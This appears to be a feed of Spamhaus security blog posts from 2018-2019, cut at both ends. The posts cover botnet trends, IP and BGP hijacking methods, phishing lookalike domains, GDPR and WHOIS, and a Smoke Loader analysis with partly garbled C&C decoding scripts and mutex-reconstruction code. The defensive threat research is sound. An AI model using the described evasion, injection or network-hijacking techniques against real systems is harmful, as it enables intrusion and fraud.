Monero, are entirely anonymous, unlike Bitcoin. Mitigating the risk of malware at the DNS level The increased threat from CoinMiners is apparent when you view the statistics from users of our DNS Firewall Threat Feeds. These threat feeds are consumed at the DNS level, allowing security teams to automatically block users (blocks/redirects), and IoT devices’ from accessing bad sites. In April 2018 only 21% of blocks/redirects were for CoinMiner/Cryptoblocker traffic, whereas at the end of last year, in December 2018, CoinMiner redirects accounted for 66% of all blocked/redirected traffic. It is evident that the botnet C&C landscape underwent some significant changes in 2018. With ‘lean teams’ and ‘lean budgets’ security professionals are caught between a rock and a hard place in attempting to keep on top of the ever-changing threats. Therefore, it’s crucial to identify solutions that are quick to install, ‘set & forget,’ and leverage the best threat intelligence in the industry. In doing so, security & IT teams are enabled to focus on other urgent matters, confident in the knowledge that teams of professional security researchers and investigators are identifying the threats on their behalf.

Botnet Threat Update 2018

The Spamhaus Team — Mon, 28 Jan 2019 12:00:00 GMT

In 2018, the researchers at Spamhaus Malware Labs detected the highest number of botnet command & controllers (C&C) on record, observing more than 10,000 botnet C&Cs. Find out what was driving that rise.

Network hijacking - the low down

The Spamhaus Team — Tue, 08 Jan 2019 08:18:38 GMT

Network hijacking involves the announcing or re-routing of Internet protocol (IP) addresses without authorization from the owner of those addresses. When hijacking is done intentionally, it is usually for some type of nefarious or illegal purpose and the consequences can be far reaching for organizations whose networks are hijacked. There are numerous ways cyber-criminals can ‘hijack’ your network, here’s the lowdown. How are networks hijacked? 1. Target IP ranges are identified A regional Internet registry (RIR) is an organization that manages the allocation and registration of Internet resources such as IP addresses and autonomous system numbers) (ASNs). Within the RIR's list of registered IP addresses, there are numerous stale or legacy resources. These IP addresses have effectively become dormant as a result of various events, including: Companies going out of business, or bought by another company Existing companies losing track of IP addresses and forgetting about them Existing companies not utilizing IP addresses These IP allocations are ripe for cyber criminals to take over or “hijack” for their own malicious purposes. Spamhaus lists these so-called “zombie” networks (which appear to have risen from the dead) when we detect activity on these IP ranges by bad actors. 2. Ownership of IP ranges gained through fraud and deception The takeover of the above mentioned networks involves human engineering techniques whereby individuals/groups claim to be the original owners of the network through the use of forged documents. There are a few ways cyber criminals may go about this: A. Hijackers find a legacy IP range to target and then register a similar sounding domain name. They then proceed to trick the relevant RIR into updating that network's registration to include their new domain name, in effect giving them control. (See the Spamhaus blog post: Network hijacking on the rise to read about a real-life example.) B. Hijackers uncover network registrations where the domain associated with the original registrant's email address has expired. They attempt to register the domain themselves, if necessary buying it at auction or from the current owner. C. Once the domain is owned by them, they can start receiving email meant for the original registrant. This allows them to easily impersonate the owners of the network, and use human engineering to trick the RIR into giving them control of the range. If hijackers are able to buy one of these old domains for $3,000 or even $10,000, it provides them with the opportunity to fraudulently control network assets worth well over a million dollars. Not a bad return on the investment for enterprising cyber-criminals! 3. IP addresses announced Once the hijacker has gained control of their target network, the next step is to announce they're “open for business” on the Internet by having the IP addresses routed. This involves going to an Internet service provider (ISP) that has an ASN for this purpose. Giving an ISP the authorization to announce an IP range involves getting a Letter of Authority (LOA) from the owner. Cyber criminals don’t think twice about forging these LOA documents on official-looking letterheads from the defunct company they are impersonating. Occasionally they will even forge the signature of the ‘point of contact’ person detailed on the original RIR registration, and even impersonating them in emails to the ISP. What are hijacked IP ranges used for? Typical uses of these large IP ranges that have been hijacked are for “snowshoe” style spamming or for gaming search engines through black hat “Search Engine Optimization” techniques. Some criminals take things a step further, registering a new corporation with the same name as the original network owner, and then try to claim ownership of these IP ranges in an attempt to resell them on the open market. If any company is unlucky enough to purchase one of these stolen ranges, they will find themselves holding the bag (or IP range in this case), while the hijacker takes their money and disappears. A word of caution - ensure you know and trust who you are buying your IP ranges from. Where an IP range becomes listed on the Spamhaus block list (SBL), we will not remove it for the new owners if we believe that it has been fraudulently gained, as a result of hijacking. Due to the serious nature of hijacking, Spamhaus always reports this kind of activity to the relevant law enforcement agencies for investigation and prosecution. Additional hijacking techniques Rogue ASN announcements by ISPs Occasionally, less than scrupulous ISPs are willing to make money on the side by catering to cyber criminals; using their ASNs to make unauthorized announcements of IP ranges. In this way they can make use of millions of IPs without bothering to register domains or forge documents. In addition to allocated IP ranges lying dormant, hijackers can also use this technique to make use of “bogon” networks, which are IP ranges that are not currently assigned to any customer by the corresponding RIR (although this is becoming less common as the number of unassigned IPs dwindles). Last but not least, the ASNs themselves can be hijacked and used for illegal announcements, with the rogue ISP providing transit to the downstream “customer” in an attempt to deflect the blame somewhere else. Take a look at Dyn’s blog post on ‘Shutting down the bgp hijack factory’ to read about an ISP that was recently shut down for doing just that! Hijacking Internet exchange points – direct peering An even more insidious version of the rogue ASN announcements, is an ISP with the ability to set up their own connection to an Internet exchange point (IXP). The IXP is a physical infrastructure where the actual exchange of data between the networks takes place. It is common in this kind of scenario for the ISP to have a specific target in mind, such as a large email provider. By setting up in the same IXP and establishing a “peering” connection between their ASN and the target ASN, they can announce all manner of hijacked IP ranges directly, without having to worry about the watchful eye of any legitimate upstream ISP. IXPs are often adopting a model that does not contemplate the existence of abusive members, with the result that the termination of an IXP member for abuse can be very problematic and take a very long time, or not happen at all. Border Gateway Protocol (BGP) or ‘route hijacking’ This technique is more commonly used to tamper with the existing routes of IP ranges currently in use, rather than stealing dormant ones. The attacker can exploit some features of Border Gateway Protocol (BGP), such as announcing more specific networks, since the announcement for a smaller network will take precedence over one for a larger network containing it. By doing this the attackers can redirect traffic destined for the original network, allowing them to undertake various malicious activities, including serving a fake website for a company and capturing login attempts and passwords. Additionally, traffic can simply be re-routed back to the intended network, in this case giving the hijacker the opportunity to spy on or modify this traffic, such as for man-in-the-middle attacks. Perhaps one of the most publicized attacks of this nature was the revelation that China had been 'hijacking the vital internet backbone of western countries'. Conclusion As you can see it’s evident that there are numerous ways cyber-criminals can hijack networks. We’ve assisted organizations investigate their own network hijackings and the fallout is not pleasant. If you want to learn how you can keep your network safe from hijacking, see part two of this blog, How to Halt the Hijackers, where you'll also find some really helpful suggestions as to what you can do if you network has already been hijacked. Stay safe!

A Domain-Specific Lesson from the Marriott Incident

The Spamhaus Team — Wed, 12 Dec 2018 22:48:41 GMT

The headlines have come thick and fast over the past few weeks in relation to the ‘Marriott Hack’. We all know the story: 500 million guest reservations from its Starwood database have been stolen. There are numerous lessons to be learned in regards to responding to this kind of incident, one of which is the importance of 'domain usage' when sending out emails. What’s in a domain name? On 30th November 2018, Marriott began informing customers that a breach had taken place. I actually received my email notification on 6th December, but let’s give Marriott a break - sending out 500 million notification emails can’t successfully be achieved in one go. What is interesting, and problematic, is the domain name they used to send out these notification emails; @email-marriott.com. Why is it problematic? As Tech Crunch highlighted in this article “the email sender's domain didn't look like it came from Marriott at all’. Marriott’s domain name is marriott.com, not email-marriott.com. In an environment where the public’s faith in Marriott's digital security is rapidly diminishing, receiving an email in which the sending domain isn’t easily recognized is far from ideal. More to the point, appending common words to a recognized brand name is a practice often used in phishing emails. Just take a look at these phishing domains, all of which have been active over the past few days: paypel-service-account.ga support-netflx-team.cf support-verificationaccount.com service-capitalone-com.tk support-appleinc.com None of the above domains belong to either Paypal, Netflix, CapitalOne or Apple. As noted by Jake Williams and Nick Carr in the TechCrunch article, domains that look like a known brand but are slightly different come across as suspicious to many users. Combine this with an email subject line that mentions a security incident and it's no wonder that the receivers of these emails think twice before interacting with them, or even worse, taking the message seriously. Domain reputation Moving on from the recipients' perception of the domain name, consider the deliverability implications of sending an email to 500 million addresses from a domain that doesn’t have a strong reputation. Domain reputation is crucial to sending emails without hindrance. A legitimate business builds its domain reputation in a number of ways, from the length of time their domain has been registered to using the domain name to send emails to engaged users, not forgetting real contact details being listed on their website. The list of reputation building factors goes on, however, a key one is the age of the domain. In the case of "marriott.com", the domain was registered in 1993. That’s fairly impressive because it was only in 1993 that CERN defined the Web protocol and provided free code to all users. However, compare the Marriott's original domain to "email-marriott.com", which was registered 21 years later in 2014. Then, add into the mix the fact that the newer domain name begins sending out an irregular, mass email. This set of circumstances is going to raise a big red flag and not only leads to a greater probability of emails being blocked but also, as previously mentioned, increases the likelihood that the notification email will be perceived as phish by the very people it was designed to protect. How can the problem be avoided? In principle it’s simple: If for technical reasons the main domain can't be used, create and use a subdomain. In the Marriott’s case using “notification.marriott.com" or some similar wording would have been appropriate. By creating a subdomain, the digital reputation and real-world recognition that has been carefully built-up around the original domain is preserved. All the red flags that would have been raised around a new or lookalike domain are circumvented, and it is immediately clear to anyone that the message is really from who it claims to be. What’s the lesson learned? Whilst there may be more work in creating sub-domains, using them builds your reputation out of one of your brands biggest digital assets: your main domain name. By using this as a 'trust anchor' you ensure that both man and machine can easily verify identity. This helps inbox placement, recipient engagement and most importantly it avoids confusion and suspicion on the receiving end of the message.

Botnet listings increase by 50% over the past weeks on XBL

The Spamhaus Team — Mon, 29 Oct 2018 09:45:42 GMT

The following article was originally published by The Spamhaus Project, October 2018. After somewhat of a “Ëœlull’ in botnet activity over the past year there has been a significant upswing in the number of listings on the Spamhaus Exploits Block List (XBL). The past few weeks have seen a lift from approximately 10 million to 16 million listings. The obvious question to be asking is why? The Spamhaus Project’s botnet specialist explains: What is the XBL? The XBL is Spamhaus’s block list which lists IP addresses that host bots and malware-infected computers. Why the huge upswing in listings? Approximately half of this increase is due to a new spambot sending out vast quantities of spam for Chinese porn web sites. We believe that this may be due to proxy software, popular in China, having a security issue. Meanwhile the rest is from the rising number of IP addresses that are being reported as infected with the Avalanche/Gamarue botnet. For those of you with knowledge of the botnet landscape you’re probably thinking “But the Avalanche botnet was taken down?” You are indeed correct, however the machines infected by Avalanche are still out there spreading the infection to new machines. The difference being now is that these machines can no longer be controlled by the current set of bad guys. But, it’s worth noting that these machines are still insecure and open to abuse by other spammers. When will these bots die out? Even if all the botnet gangs were taken down the malware they created would continue to spread without their controller. This is a spectre we’re going to have to live with for a long time. The Conficker bot is still out there, and its control network died years ago! What about the new spambot? There’s one last question: what (or who) is responsible for sending the copious quantities of Chinese porn-related spam? To date the research team at the Project don’t have an answer, but we’ll let you know as soon as they find out more. (The original article can be viewed here.)

Exploits Block List - Two Botnets Contribute to 50% Increase in Listings

The Spamhaus Team — Fri, 26 Oct 2018 17:34:38 GMT

If you’ve been monitoring the Exploits Block List (XBL) recently you will have noticed a significant increase in the number of listings. The past few weeks have seen a lift from approximately 10 million to 15 million listings. The question is why? Our botnet specialist explains… What is the XBL? The XBL is Spamhaus’s block list which lists IP addresses that host bots and malware-infected computers. Why the huge upswing in listings? Approximately half of this increase is due to a new spambot sending out vast quantities of spam for Chinese porn web sites. We believe that this may be due to proxy software, popular in China, having a security issue. Meanwhile the rest is from the rising number of IP addresses that are being reported as infected with the Avalanche/Gamarue botnet. For those ‘in know’, you’re probably thinking “But the Avalanche botnet was taken down?” You are indeed correct, however the machines infected by Avalanche are still out there spreading the infection to new machines. The difference being now is that these machines can no longer be controlled by the current set of bad guys. But, it’s worth noting that these machines are still insecure and open to abuse by other spammers. When will these bots die out? Even if all the botnet gangs were taken down the malware they created would continue to spread without their controller. This is a spectre we're going to have to live with for a long time. The Conficker bot is still out there, and its control network died years ago! Who is behind the new spambot? There’s one last question… what (or who) is responsible for sending the copious quantities of Chinese porn-related spam? To date we don’t have an answer, but we’ll let you know as soon as we find out more.

How has GDPR affected Spam?

The Spamhaus Team — Sat, 08 Sep 2018 05:10:24 GMT

GDPR, WHOIS and Spam - how is it all panning out? The real answer is that it is far too early to tell. Various articles currently state that "nothing has happened" as a result of GDPR or "spam has fallen slightly"; however, the true effects of GDPR providing anonymity to domain owners will take a long time to play out. The main crux of the matter isn’t the effect GDPR is having on spam levels, but how it’s hampering organizations from effectively stopping career cybercriminals from defrauding innocent people. GDPR and WHOIS Unless you have been marooned on a desert island with no contact to the outside world for the past year, you will be aware that Europe’s General Data Protection Regulation (GDPR) was implemented on 25th May 2018. In relation to “WHOIS”, the protocol used to determine who owns a domain or IP address, the interpretation of this regulation has led to limitations on the information that registrars are disclosing. In some cases not only is the information related to EU natural persons being withheld, but also non-EU persons and company information. How do security researchers use WHOIS data? Before GDPR came into effect, records such as a domain’s registered owner and registered contacts could be looked up in WHOIS databases maintained by individual registrars governed by ICANN. WHOIS information was used by researchers in organizations such as Spamhaus to help determine a domain’s reputation. Domains determined from this and other factors to have a bad reputation would have potentially been listed on our Domain Block List (DBL). An example is when a WHOIS privacy service was utilized on a domain registration. To a security researcher this would indicate that an individual wished to remain anonymous, and would immediately raise suspicion as to why the owner of the domain wanted to ‘hide’. Whilst the lack of some of this information is tiresome and makes a security researcher’s job a little more difficult, it isn’t insurmountable. Spam will be blocked. Domains will continue to be added to our DBL and email will be filtered accordingly. Why have spam levels dropped post GDPR? It’s true, spam rates have dropped marginally since May 2018. Spamhaus never anticipated a tsunami of spam to follow GDPR, however current claims that spam has fallen as a result of GDPR are unconvincing. Of course, it could be that legitimate companies, who are concerned about being GDPR compliant, have started purging email lists and are sending less ‘legit’ spam. However, one needs to remember that spam from legitimate companies accounts for a very small percentage of overall spam numbers, so any reduction in this area would have a minute impact on the figures. Another theory could be that due to the changes on WHOIS fewer bad domains are being identified and therefore some anti-spam systems are flagging less email. Nonetheless, this small reduction in spam is more than likely down to the natural ebb and flow of spam volumes, which have always been highly variable, just like botnet traffic, as illustrated here: There are numerous non-GDPR related reasons as to why there’s been a recent drop in spam email ranging from the spambots which are currently in operation (or not in operation as the case may be) to who has been arrested recently! Also, let’s not forget that criminal organizations, just like most businesses, are focused on return on investment (ROI) i.e. why send a billion spam ‘pillz’ emails and make a few thousand dollars when a few successful business phishes or a few thousand lucrative banking trojans can net a criminal millions of dollars? Whilst there may be lower volumes of spam, the negative impact of it can be greater. There is no hard evidence we have seen proving that this current decline in spam is as a direct result of GDPR…it will be interesting to see what the volumes of spam are like over Black Friday and the subsequent Christmas holidays. Can the drop in domain name registrations be attributed to GDPR? Likewise, this is a vacuous claim, unless it’s worth considering that snowshoe spammers don’t need as many new identities now that their current ones are withheld on WHOIS. A more likely explanation to the drop in domain name registrations could be something as simple as top-level domains (TLDs) not having run any ‘specials’ recently (everyone loves a bargain, even a cybercriminal). So what is the issue? At this point, you would be excused for asking yourself “If spam hasn’t increased then what’s the issue with GDPR prohibiting personal details being visible on WHOIS?” It’s simple. It will hamper, if not stop, organizations being able to join the dots and identify gangs of professional cybercriminals who have a mechanism of fraud that is proving successful. How? Researchers collect all kinds of information from WHOIS. This data allows us to identify patterns in spamming activity, and build intelligence to attribute it to specific spam gangs. Additionally, these small but critical pieces of data can become crucial to investigations later down the line, although they may not be obvious at the time. This evidence can assist law enforcement agencies to pursue these prolific gangs who are defrauding significant amounts of people of vast quantities of money. Really? Is visibility over this WHOIS data that important? Yes. Even fraudulent information that is used in a WHOIS record can be used against criminals. For example, the notorious spammer Alan Ralsky was finally indicted for, among other things, "using falsely registered domain names to send the spam." Certain types of fraudulent techniques can be used by spammers to misrepresent and disguise their identity, location, or the nature of their message in order to defeat spam filtering programs e.g. by using false information to register a domain name used to send the spam. Under 18 USC § 1037, it is unlawful for a person to send “multiple commercial electronic mail messages” if such a person uses materially false registration information for two or more domain names that are used to send the messages. Ralsky and the other defendants employed several fraudulent means to accomplish the common goals of sending out as much unlawful spam email as possible in order to make as much money as possible, including registering domain names with false information to avoid detection. Last but not least, we need to remember the good guys. As a result of WHOIS going dark, it's not only harder to track and bring down criminal activity but it's also harder for the good guys to prove that they are legitimate when a domain’s legitimacy is questioned. Transparency builds trust As more of our lives revolve around online activity, more opportunities are available to the bad guys to monetize an asset (a computer) over which they have gained control. Those guys are motivated, intelligent, and creative. Losing a tool like WHOIS, which helps to shine a little more light into the darker corners of the Internet, doesn’t do any favors to those who want to protect Internet users.

Doug Madory | Shutting down the BGP Hijack Factory - Bitcanal

The Spamhaus Team — Wed, 11 Jul 2018 07:54:17 GMT

This week sees Spamhaus featuring in the news again. Bitcanal, a notorious bad actor, who has continually hijacked Border Gateway Protocol (BGP) routes, has effectively been kicked off the internet. Spamhaus has 103 SBL listings related to Bitcanal, going as far back as 2014. Doug Madory, Director of Internet Analysis at Oracle Dyn, takes an in-depth look at the story and highlights the lessons Internet Exchange Points (IXPs) need to learn from this. Shutting Down the BGP Hijack Factory.

Spamhaus in the news

The Spamhaus Team — Tue, 03 Jul 2018 08:21:38 GMT

The Most Abused Top Level Domains List from Spamhaus continues to feature in the news. Writing for Japan’s XTECH, Yukihiro Katsumura puts the spotlight on the number of malicious domains hosted on cheap, or free, top level domains.

Smoke Loader malware improves after Microsoft spoils its Campaign

The Spamhaus Team — Mon, 16 Apr 2018 15:15:55 GMT

Early this year, in March 2018, Microsoft’ Windows Defender Research Team in Redmond published some interesting insights into a massive malware campaign distributing a dropper/loader called Smoke Loader (also known as Dofoil). The main purpose of the documented campaign was to distribute a coin miner payload that is using infected machines to mine crypto currencies. Within 12 hours, Windows Defender recorded more than 400,000 instances, but could deploy appropriate countermeasures on computers running Windows within seconds. As further analysis from Spamhaus Malware Labs revealed, these countermeasures did not stay unattended by the malware authors behind Smoke Loader. Apparently, as a reaction on Microsoft’ countermeasures, the malware authors behind Smoke Loader made some significant code changes in order to bypass Windows Defender and other Antivirus software. These code changes include: Change in the infection techniques Introduction of 64bit payload Anti-VM and Anti-Analysis techniques in the packer What stares out with Smoke Loader is that the packer and the main executable (unpacked payload) is related to each other. It is necessary for the unpacked payload to be loaded by the packer in order to run. In addition, the unpacked code checks for certain markers created by the packer in order to run. When Smoke Loader gets executed in a sandbox (for example a virtual environment), the sample fails to start. The reason for this are Anti-VM and Anti-Analysis techniques that Smoke Loader implemented in the code recently. An initial examination under IDA reveals that the code is obfuscated with jump chains whose sole purpose is to make the static analysis harder. Runtrace Runtrace The code at line number 19 (0040295C Main CMP DWORD PTR DS:[EAX+A4],) reveals that Smoke Loader checks the version of the operating system in PEB structure. In case the operating system where the malware sample gets executed on is less than version 6 (Windows NT 6, which equals to Windows Vista), the malware sample immediately stop the execution. In addition, there are a handful other checks based on debugging flags, which can be traced back using the same tracing technique. Furthermore, the recent Smoke Loader version also overwrites some of its own code section with new instruction that do also contain anti-analysis code and code related to packer loading. A call trace helps to determine the functionality of that modified mode as shown below. Anti-VM checks Anti-VM checks The code snipped shown above show code that checks for certain signs of a virtual environment, for example the presence of certain drivers of VirtualBox or certain strings that would trace the environment where the malware sample gets executed to Qemu. In previous versions, Smoke Loader would create a hollow process and then inject the unpacked code into it. However, after Microsoft spoiled the massive Smoke Loader campaign in March 2018, the most recent version of Smoke Loader injects itself into a running instance of Windows Explorer (explorer.exe) instead of creating a hollow process. The injection is now based on the same technique as used by PowerLoader, which uses SendNotifyMessage for code injection. Also, while previous versions of Smoke Loader were using 32bit code, the most recent version of Smoke Loader contains 64bit code in order to inject itself into explorer.exe on computers that are running a 64bit operating system. Smoke Loader injecting into explorer.exe Smoke Loader injecting into explorer.exe The following code change highlights that the final payload is supposed to be run as thread instead of a separate process. Process based Previous version (process based) Thread based Recent version (thread based) The packer creates a shared file map which contains various information on the initial infection, such as the packed binary. This file map is later being used by the executing thread. Shared file map Shared file map The name of the shared file map is generated from VolumeSerialNumber of root drive of the infected machine. This shared file map can be used as an indicator of compromise (IOC). Additional changes in the code While the previously string encoding algorithm used by Smoke Loader was based on xor, the most recent version includes an RC4 based string encryption as highlighted on the screenshot above. RC4 based string decryption RC4 based string decryption The following IDA python script can help with static decoding of Smoke Loader: download In earlier versions of Smoke Loader, the botnet controller domain names (C&C) were encoded using an algorithm that was based on a simple xor subtraction: def Decodec2(data): XorKey = struct.unpack("> 8) & 0x0000FF00) | ((x >> 24) & 0x000000FF)) def Decodec2(buf): BufLen = struct.unpack("> 8 ) x = x ^ (XORDword & 0xff) XORDword = (XORDword >> 8 ) x = x ^ (XORDword & 0xff) XORDword = (XORDword >> 8 ) x = x ^ (XORDword & 0xff) x = x - (1 #include void MD5(BYTE* data, ULONG len, unsigned char *out) { HCRYPTPROV hProv = 0; HCRYPTPROV hHash = 0; BYTE rgbHash[16]= {0}; DWORD cbHash = 16; char hash[3] = {0}; int i = 0; CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash); CryptHashData(hHash, data, len, 0); CryptGetHashParam(hHash, HP_HASHVAL, rgbHash, &cbHash, 0); for (i = 0 ; i < 16; i++) { sprintf(hash, "%.2X", rgbHash[i]); strcat(out, hash); } CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); } int main(int argc, char **argv) { unsigned char *Source = (unsigned char *) malloc(sizeof(char) * 265); unsigned char *md5Sum = (unsigned char *) malloc(sizeof(char) * 34); DWORD lpVolumeSerialNumber = 0; unsigned char *FtString = (unsigned char *) malloc(sizeof(char) * 34); int ComNameSize = 16; char CompName[MAX_COMPUTERNAME_LENGTH + 0x10] = {0}; memset(md5Sum, 0x00, 34); memset(FtString, 0x00, 34); memset(Source, 0x00, 265); GetComputerName(CompName,&ComNameSize); GetSystemDirectoryA(Source, 260); Source[3] = 0x00; GetVolumeInformationA(Source, 0, 0, &lpVolumeSerialNumber, 0, 0, 0, 0); sprintf(FtString, "%s%08X%08X", CompName, 0xFEE7D621, lpVolumeSerialNumber); MD5(FtString, strlen(FtString), md5Sum); sprintf(md5Sum, "%s%08X", md5Sum, lpVolumeSerialNumber); printf("%s", md5Sum); CreateMutex(0,0,md5Sum); while(1) Sleep(0x1000); } During the binary code analysis, Spamhaus Malware Labs found some sections in the code that are obviously being used by the author of Smoke Loader for debug purpose. This proves that Smoke Loader is still under heavy development of its authors and is constantly evolving. Debug variables Debug variables Conclusion Since late 2017, Spamhaus Malware Labs could identify more than 8,000 smoke loader malware samples which call out to over 1,000 unique botnet controllers (C&C servers). In addition, to the latest code changes made by the authors of Smoke Loader in response to the countermeasures by Windows Defender, we do also see a trend in certain Smoke Loader campaigns that are shifting away from the official TLDs over to decentralized TLDs (dTLDs) such as Namecoins .bit. By using decentralized TLDs for botnet C&C hosting, botnet operators try to make their botnet C&C infrastructure more resilient against takedown attempts by security researchers and law enforcement agencies (LEA). Spamhaus Malware Labs continues to follow the further development of Smoke Loader and takes the appropriate actions to protect Spamhaus users from this threat. Further reading Microsoft Secure: Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign Microsoft Secure: Poisoned peer-to-peer app kicked off Dofoil coin miner outbreak Microsoft Secure: Hunting down Dofoil with Windows Defender ATP abuse.ch: .bit - The next Generation of Bulletproof Hosting Spamhaus Botnet Threat Report 2017 Related Spamhaus tools & products Spamhaus DROP (Don't Route Or Peer Lists) Spamhaus Response Policy Zone (RPZ) Spamhaus Zero Reputation Domain (ZRD) Spamhaus Botnet + Malware Domain List Spamhaus Botnet Controller List (BCL) Spamhaus/Deteque Passive DNS service

Fighting abuse at the edge

The Spamhaus Team — Mon, 09 Apr 2018 19:42:28 GMT

Anti-abuse at the network edge: From two tribes to one team. Cape Coast Castle cannons Take a look at org charts, international standards, conferences and forums…you will observe there are two tribes; one for the ‘network’ the other for ‘applications’. It’s a distinction that’s embedded in Information Technology with the Network Layer ‘below’ all applications with a dedicated team dealing with connectivity, routers, upstreams and peering, all quite independently from the nature of the data that is flowing. Another team deals with ‘applications’; email, web services, etc., that do their job without having to consider the underlying aspects related to networking. It’s a logical separation that has shaped the formation of jobs so that it is now becoming rare to find people with skills both in networking and applications. This separation often becomes painfully obvious when dealing with Internet abuse. Historically, anti-abuse has grown in the application world, with well established communities; forums, mailing lists, conferences and meetings, to track trends and share knowledge. The networking community is certainly loaded with serious challenges related to the core operations of the Internet but can miss trends in the anti-abuse world directly connected to networking. At Spamhaus we routinely observe ‘clashes’ between the staff that handle routing and the staff that administers email servers within organizations. In very simple terms, to a networking person all networks are similar and they generally feel that the purpose of their job is to ensure the best possible connectivity with every other entity on the Internet. In contrast, a mail server administrator knows that, for instance, some IP addresses only send bad traffic and so it makes sense to block them - DNSBLs are one useful tool to do this. But one of the main trends we have observed recently is that more and more networks - full IP address ranges - are used for serious criminal activities. We have noted that tools designed for protection at the edge are not as used as they could be to prevent routing of traffic generated by dedicated criminal networks. Let’s focus first on issues that, at Spamhaus, we believe deserve more attention and an approach to improve the overall security of networks. How do bad guys acquire control of IP address ranges? Basically there are four ways used to control a whole network. Have the IP address range directly assigned to them by a Regional Internet Registry (AFRINIC, APNIC, ARIN, LACNIC or RIPE NCC). Have an IP address range directly assigned to them by an ISP. "Hijack" an abandoned IP address range by impersonating the original owner using tricks. Steal portions of allocated IP address ranges, temporarily use them for their activity and then release them, leaving the innocent victim to deal with consequences. Some of these bad guys operate their own Autonomous System (AS). In these cases, those ASes should be considered rogue and all the routes they announce over BGP should be discarded. It is also common to see chains of bad ASes in a BGP path, possibly a trick that bad guys use to play the "customer-of-a-customer" card when questioned by their upstream network provider(s). How to detect if a BGP customer is a bad guy? It is very unfortunate that we often see the upstream networks of rogue entities accepting and propagating routes of dedicated bad networks for very long periods - at times, months. This is typically the result of insufficient verification/vetting procedures when the customer is acquired, and later when the customer adds new routes. In many cases it appears that automated processes are set up to accept, almost blindly, whatever customers announce, possibly using easily spoofed route objects in public databases as if they were a reliable source of information (they are not). While protection on the maximum number of routes accepted is usually in place to prevent accidental leaking, this is an ineffective measure to stop criminal activity (where, for instance, rotation of rogue routes is a common practice). We fully understand the impracticality of validating routes taken from BGP peers at exchange points or from customers which are in turn transit providers. But ISPs that connect leaves or short branches of the routing tree, owned by entities which do not have a well-known, established reputation in the routing world, should carefully examine what they accept from their BGP customers. Anti-abuse/reputation people should have a role in carrying out this delicate task, which may imply an investigation on the customer's abuse and routing history. Applying DROP, EDROP and ASN-DROP at the edge For many years we have included in our public DROP and EDROP lists the networks belonging to the first and second category respectively, with the hope that organizations could use these lists to deny Internet connectivity altogether to those networks. More recently we have started publishing ASN-DROP, which as suggested by the name is a list of rogue Autonomous Systems. Many organizations are indeed using this family of lists with success, however their implementation has been traditionally hampered by the fact that connectivity issues are in the hands of networking teams, which are often afraid to create problems by blocking complete networks and are often too busy to recognize that such networks are fully controlled by cyber criminal groups. The bad activity emanating from these networks is very often affecting horizontally several applications and protocols, such as email, http, telnet/ftp/ssh, control of botnets. Edge routers are therefore the natural place where blocking should occur. Clearly, criminals do not like being identified and blocked for good: Networks listed in DROP/ EDROP can be enormously penalized in terms of connectivity, and TCP connections from them are often blocked at the application level. Furthermore, the IPv4 depletion makes it very difficult and expensive for the cyber crime groups to find new IP address ranges. The end of IPv4 availability brought a dramatic increase of the third and fourth type - hijacked and stolen networks. In some cases, the groups using these networks do not route them globally, but manage to establish direct peering with the service providers whose users they want to target. This decreases their risk to be noticed; those networks never appear in global routing tables. Operators of large email facilities are particularly exposed to this problem, but the issue is rather general. Applying the Botnet Controller List (BCL) at the edge This trend of cyber crime drags the whole networking world right in the middle of the fight to abuse. The main routing protocol, BGP, has become the most important vector and is therefore also the place where defense should occur: This is why we have been proposing BGP-based solutions for quite some time. Of course, blocking bad networks is not enough. There are always millions of compromised bot machines that emanate nefarious activity but, more importantly, thousands of machines that control bot members. Disruption of communication between these machines and the bot members is highly desirable and effective, and this is best done at the network edge to protect from the threat of botted machines located within the network. Botnet controllers are typically located within legitimate networks that host either a server controlled by criminals or a legitimate device that has been compromised (see for instance 2017 Botnet threat report). Our dynamic BCL list can be applied at the BGP level to disrupt botnets by blackholing Command & Control systems at the single IP address level, by diverting routing into a blackhole or a sandbox. This list is not very large, but the trend is certainly toward a size growth. Some organizations with tight security may wish to block larger sets of abusing IP addresses (such as abused IoT systems) at the network edge, but current technology often makes it difficult or impossible to use large lists (possibly including millions of records) on edge devices, particularly when timely and frequent updates are required. So, these threats have put an unprecedented pressure on routing technology, due to the need to blackhole bad traffic with a considerable granularity (the single IP address level) and in a highly dynamic way. BGP Flowspec: the future? Luckily, the router industry has picked up the challenge. One technology designed for such purpose is Flowspec, defined in RFC5575 and RFC7674 by engineers of Cisco Systems, Juniper Networks, Arbor Networks and NTT America. In Flowspec ACL rules, rather than being statically uploaded on the edge device, are dynamically updated in real time by an external controller device in the form of a special BGP flow. The flow can of course reach all the edge routers of an organization simultaneously. Flowspec rules can match on source or destination IP addresses, ports and other parameters, and action can range from packet drop to rate limiting, and sometimes to traffic sampling and forwarding to special collectors. Threats on the Internet are often very active and damaging within seconds from the time they show up for the first time. Fast detection and real time delivery to users are extremely important for an effective defense. We are working on both fronts. On one side, we constantly try to speed up detection of badness to incorporate threats into products as quickly as possible. But having our data reaching customers very quickly is perhaps even a larger challenge that we are facing, because environments at the customer side are heterogeneous. The BGP interface offered by Flowspec and in the process of being standardized represents an important step toward consistent and effective delivery of data to edge devices. While at this time we do not have Flowspec interfaces for our data, this technology appears to be extremely promising for the delivery of our BCL IP address data. Blocking botnet controllers at the edge level would allow to prevent internal machines running malware to contact their controllers and therefore avoid further - often catastrophic - damage, and to disclose their existence to the network administrators. We would be delighted to hear from organizations willing to experiment with this new technology and work with us toward a widespread deployment. Conclusion In summary: We believe that networking teams should work to acquire more knowledge and skills in the anti-abuse arena, possibly getting input from application folks that have considerable experience on this topic. This may require some adjustments in the internal organization charts of several companies, but in many cases improving cooperation and communication between networking and anti-abuse teams may be already of help. ISPs offering connectivity/transit to customers should carefully verify the route announcements, making sure that they are not propagating bad routes. We encourage organizations to use our free DROP family of tools at the network edge. This is normally rather easy to do, as updates do not need to be very frequent. Flowspec appears to be an extremely promising technology to supply dynamic data in real time to gateway router/appliances, and we would like to hear from anybody interested in starting to use this technology. About Spamhaus The Spamhaus Project is an international nonprofit organization whose mission is to track the internet's spam operations, to provide dependable realtime anti-abuse protection & threat-intelligence for Internet networks and to work with Law Enforcement Agencies to identify and pursue spammers worldwide. The number of internet users whose mailboxes are currently protected by Spamhaus DNSBLs now exceeds 2.7 Billion. Founded in 1998, Spamhaus is based in Geneva, Switzerland and London, UK and is run by a dedicated team of 30 investigators and 